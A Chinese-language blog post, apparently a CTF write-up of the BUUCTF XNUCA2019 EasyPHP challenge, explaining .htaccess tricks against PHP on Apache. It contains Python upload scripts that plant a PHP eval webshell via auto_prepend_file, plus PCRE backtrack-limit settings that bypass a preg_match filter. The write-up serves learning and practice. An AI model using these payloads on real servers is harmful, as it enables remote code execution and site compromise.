飞道的博客

BUUCTF:[XNUCA2019Qualifier]EasyPHP -- 关于.htaccess 的各种配置操作,

354人阅读  评论(0)

参考的文章,看最下面的那两篇就是了
总体:
这些方法看起来很棒,其实我感觉这都是参赛者当时 细心看PHP文档才发现的,而我辈现在直接看他们的现成的东西,如此巧妙的方法之下,是大佬们细心找到的bug点,其实真正应该习得的是认真看文档的能力,从很多的配置信息中找到我们能够利用的 点这个才是真正的能力

一、自己做:

做个毛,做,这个题是我能做出来的???
没有个数,看WP去,,

这个 正则,文件名开头不能是 字母开头,又不能是数字,那就只能够是.了啊,再看一下黑名单???防止马的黑名单是这个吗??

没见过的黑名单,那就是上传.htaccess了啊,

二、学到的&&不足:

1. python 上传.htaccess时的\问题

注意在用python传入的时候,这个用一个\,是不行的,在python中的\和Linux中的一样也是 连接两行的意思,
我们这里需要两个\\,这样转义一下,才行

这样才行一个%5c,一个%0A,就对了,

2. 关于.htaccess解析错误时

.htaccess文件解析出现问题时,网站会爆出 500 的错误码,然后我们怎么知道是那里错了呢?
可以查看apache的错误日志/var/log/apache2/arror.log就能够看到哪里的错误了,

3. python 上传 .htaccess时,注释符# 的问题!在字符串中进行传输# 也会当作注释符!!

这个注释符#恰巧也是 python的注释符,~!!!
这了如果不将#先一步进行url编码的话,就会当作python的注释符,然后后面的内容就不会输入到.htaccess中去了,尽管是在 一个字符串中!!!!

如果是#的话,效果就是这样,后面的直接没有了,

#编码一下,不让python当作它的注释符就好了,又因为是get传输,那么正好就url编码一下上传,如下:

import requests


content='''php_value auto_prepend_fi\\
le ".htaccess"
%23<?php eval($_GET[a]);?>\\'''


url = "http://host/?filename=.htaccess&content={}".format(content)
res = requests.get(url=url)
print(res.url)
print(res.text)

这个注释符#恰巧也是 python的注释符,~!!!

这个时正确的时候,但是我还是有点小疑问,,这个我用\连接起来了,不是不是,应该是 转移掉了\n了把,但是我本地这里,明显没有转义成功啊,

但是还是正确执行了,我的马,那么就是 这个反斜杠并没有当作转移符号,来转义那个\n。而是到了.htaccess中连接起来了两行,这样尽管 另其一行了,但是 连接上了,就也算到了 上一行的注释中去了,

上面的那个理论我验证一下就好了
如下:

运行一个PHP文件,没有爆500,也就是说.htaccess·,没有问题,那么我们上述的猜想就是正确的了,

三、学习WP:

1. 非预期:

就是我上面分析的这个,

payload上面说了,这里就不说了

import requests
# %23 是# 的url编码,防止python把自己注释了
#\\ , 两个\\上传上去就是 一个 \

content='''php_value auto_prepend_fi\\
le ".htaccess"
%23<?php eval($_POST[cmd]);?>\\'''


url = "http://70683073-ad5d-4edc-ae61-5da1f665cb76.node3.buuoj.cn/?filename=.htaccess&content={}".format(content)
res = requests.get(url=url)
print(res.url)
print(res.text)

2. 预期解2:

总体:
这些方法看起来很棒,其实我感觉这都是参赛者当时 细心看PHP文档才发现的,而我辈现在直接看他们的现成的东西,其实真正应该习得的是认真看文档的能力,从很多的配置信息中找到我们能够利用的 点这个才是真正的能力

这点我没有注意到

这个正则函数是preg_match(),P神讲过这个的回调次数的绕过,
我自己也稍微整理过:关于prreg_match()的绕过 ----- %0a ------ 数组 --------preg的回调次数

然后设置pcre的一些选项可以导致文件名判断失效,从而直接 prepend flag.php

回溯超过100000这么多次就能够绕过了,然后我们直接设置就好了

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

设置上面的这个我懂,但是下面这个为什么设置我就不知道了

啊,这个,,,其实也就是去掉了 那个正则背,,,其实那个正则也就是过滤了file背,,,那也没啥了啊,,,

这没有成功,,,,出错误,总是报hacker,也就是说并没有绕过正则,,,吐了。。

3. 预期解:

这个预期解,就是跟着思路来做的,给了我们.htaccess文件,我们能够往里写什么,能够包含到fl3g.php,然后利用这个PHP文件获得flag。这个才是顺着出题人的思路来的。
那么我就看看.htaccess能够干一些什么事情。

最后的 垃圾数据会导致.htaccess解析错误,从而页面爆出500,这个可以用#进行注释,但是他又有一个换行符\n,那我们就用\进行连接行与行,就连接上了,就也是注释了,

php_value auto_prepend_file fl3g.php?,不行的,有正则,过滤file这个可以绕过,

经测试,最后一行导致的.htaccess报错的问题可以通过# 来解决。

该文件中有一处include('fl3g,php'),该文件名不能通过正则匹配所以我们没办法直接利用该文件来getshell。那么还有什么.htaacess的选项可以利用?

翻一下php的 官方文档php.ini配置选项列表,查找所有可修改范围为PHP_INI_ALLPHP_INI_PERDIR的配置项,我们可以注意到这样一个选项include_path.

具体操作看这个吧:
https://www.anquanke.com/post/id/185377#h3-6
https://www.cnblogs.com/ophxc/p/13192775.html

编码操作可用iconv,看我的 Linux的博客。


转载:https://blog.csdn.net/Zero_Adam/article/details/115740087
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场